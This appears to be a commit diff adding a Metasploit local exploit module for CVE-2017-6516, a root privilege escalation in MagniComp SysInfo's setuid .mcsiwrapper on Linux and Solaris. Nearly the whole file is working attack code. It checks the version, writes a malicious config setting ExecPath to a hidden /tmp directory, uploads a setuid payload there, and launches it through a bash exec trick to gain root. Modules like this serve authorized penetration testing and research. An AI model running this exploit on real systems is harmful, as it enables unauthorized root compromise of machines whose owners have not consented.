|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Post::File |
| 10 | + include Msf::Exploit::EXE |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'MagniComp SysInfo mcsiwrapper Privilege Escalation', |
| 16 | + 'Description' => %q{ |
| 17 | + This module attempts to gain root privileges on systems running |
| 18 | + MagniComp SysInfo versions prior to 10-H64. |
| 19 | +
|
| 20 | + The .mcsiwrapper suid executable allows loading a config file using the |
| 21 | + '--configfile' argument. The 'ExecPath' config directive is used to set |
| 22 | + the executable load path. This module abuses this functionality to set |
| 23 | + the load path resulting in execution of arbitrary code as root. |
| 24 | +
|
| 25 | + This module has been tested successfully with SysInfo version |
| 26 | + 10-H63 on Fedora 20 x86_64 and 10-GA on Solaris 10u11 x86. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Daniel Lawson', # Discovery and exploit |
| 32 | + 'Romain Trouve', # Discovery and exploit |
| 33 | + 'Brendan Coles' # Metasploit |
| 34 | + ], |
| 35 | + 'DisclosureDate' => 'Sep 23 2016', |
| 36 | + 'Platform' => %w(linux solaris), |
| 37 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 38 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ 'Automatic', { } ], |
| 42 | + [ 'Solaris', { 'Platform' => 'solaris', 'Arch' => ARCH_X86 } ], |
| 43 | + [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ]} ] |
| 44 | + ], |
| 45 | + 'References' => |
| 46 | + [ |
| 47 | + [ 'CVE', '2017-6516' ], |
| 48 | + [ 'BID', '96934' ], |
| 49 | + [ 'URL', 'http://www.magnicomp.com/support/cve/CVE-2017-6516.shtml' ], |
| 50 | + [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/magnicomps-sysinfo-root-setuid-local-privilege-escalation-vulnerability/' ], |
| 51 | + [ 'URL', 'https://labs.mwrinfosecurity.com/advisories/multiple-vulnerabilities-in-magnicomps-sysinfo-root-setuid/' ] |
| 52 | + ] |
| 53 | + )) |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('SYSINFO_DIR', [ true, 'Path to SysInfo directory', '/opt/sysinfo' ]), |
| 57 | + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) |
| 58 | + ]) |
| 59 | + end |
| 60 | + |
| 61 | + def sysinfo_dir |
| 62 | + datastore['SYSINFO_DIR'] |
| 63 | + end |
| 64 | + |
| 65 | + def check |
| 66 | + unless cmd_exec("test -d #{sysinfo_dir} && echo true").include? 'true' |
| 67 | + vprint_good "Directory '#{sysinfo_dir}' does not exist" |
| 68 | + return CheckCode::Safe |
| 69 | + end |
| 70 | + vprint_good "Directory '#{sysinfo_dir}' exists" |
| 71 | + |
| 72 | + mcsiwrapper_path = "#{sysinfo_dir}/bin/.mcsiwrapper" |
| 73 | + unless setuid? mcsiwrapper_path |
| 74 | + vprint_error "#{mcsiwrapper_path} is not setuid" |
| 75 | + return CheckCode::Safe |
| 76 | + end |
| 77 | + vprint_good "#{mcsiwrapper_path} is setuid" |
| 78 | + |
| 79 | + bash_path = cmd_exec 'which bash' |
| 80 | + unless bash_path.start_with?('/') && bash_path.include?('bash') |
| 81 | + vprint_error 'bash is not installed. Exploitation will fail.' |
| 82 | + return CheckCode::Safe |
| 83 | + end |
| 84 | + vprint_good 'bash is installed' |
| 85 | + |
| 86 | + config_version = cmd_exec "grep ProdVersion= #{sysinfo_dir}/config/mcsysinfo.cfg" |
| 87 | + version = config_version.scan(/^ProdVersion=(\d+-H\d+|\d+-GA)$/).flatten.first |
| 88 | + if version.blank? |
| 89 | + vprint_error 'Could not determine the SysInfo version' |
| 90 | + return CheckCode::Detected |
| 91 | + end |
| 92 | + if Gem::Version.new(version.sub('-H', '.')) >= Gem::Version.new('10.64') |
| 93 | + vprint_error "SysInfo version #{version} is not vulnerable" |
| 94 | + return CheckCode::Safe |
| 95 | + end |
| 96 | + vprint_good "SysInfo version #{version} is vulnerable" |
| 97 | + |
| 98 | + CheckCode::Vulnerable |
| 99 | + end |
| 100 | + |
| 101 | + def upload(path, data) |
| 102 | + print_status "Writing '#{path}' (#{data.size} bytes) ..." |
| 103 | + rm_f path |
| 104 | + write_file path, data |
| 105 | + register_file_for_cleanup path |
| 106 | + end |
| 107 | + |
| 108 | + def mkdir(path) |
| 109 | + vprint_status "Creating '#{path}' directory" |
| 110 | + cmd_exec "mkdir -p #{path}" |
| 111 | + register_dir_for_cleanup path |
| 112 | + end |
| 113 | + |
| 114 | + def exploit |
| 115 | + check_status = check |
| 116 | + if check_status != CheckCode::Vulnerable && check_status != CheckCode::Detected |
| 117 | + fail_with Failure::NotVulnerable, 'Target is not vulnerable' |
| 118 | + end |
| 119 | + |
| 120 | + # Set target |
| 121 | + uname = cmd_exec 'uname' |
| 122 | + vprint_status "Operating system is #{uname}" |
| 123 | + if target.name.eql? 'Automatic' |
| 124 | + case uname |
| 125 | + when /SunOS/i |
| 126 | + my_target = targets[1] |
| 127 | + when /Linux/i |
| 128 | + my_target = targets[2] |
| 129 | + else |
| 130 | + fail_with Failure::NoTarget, 'Unable to automatically select a target' |
| 131 | + end |
| 132 | + else |
| 133 | + my_target = target |
| 134 | + end |
| 135 | + print_status "Using target: #{my_target.name}" |
| 136 | + |
| 137 | + # Check payload |
| 138 | + if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) || |
| 139 | + (my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i) |
| 140 | + fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'" |
| 141 | + end |
| 142 | + |
| 143 | + # Create a working directory |
| 144 | + base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric rand(5..10)}" |
| 145 | + mkdir base_path |
| 146 | + |
| 147 | + # Write config file |
| 148 | + config_path = "#{base_path}/#{rand_text_alphanumeric rand(5..10)}" |
| 149 | + upload config_path, "ExecPath=#{base_path}" |
| 150 | + |
| 151 | + # Upload payload |
| 152 | + payload_name = rand_text_alphanumeric rand(5..10) |
| 153 | + payload_path = "#{base_path}/#{payload_name}" |
| 154 | + upload payload_path, generate_payload_exe |
| 155 | + cmd_exec "chmod u+sx '#{payload_path}'" |
| 156 | + |
| 157 | + print_status 'Executing payload...' |
| 158 | + |
| 159 | + # Executing .mcsiwrapper directly errors: |
| 160 | + # Command ".mcsiwrapper" cannot start with `.' or contain `/'. |
| 161 | + # Instead, we execute with bash to replace ARGV[0] with the payload file name |
| 162 | + output = cmd_exec "bash -c \"exec -a #{payload_name} #{sysinfo_dir}/bin/.mcsiwrapper --configfile #{config_path}&\"" |
| 163 | + output.each_line { |line| vprint_status line.chomp } |
| 164 | + end |
| 165 | +end |
0 commit comments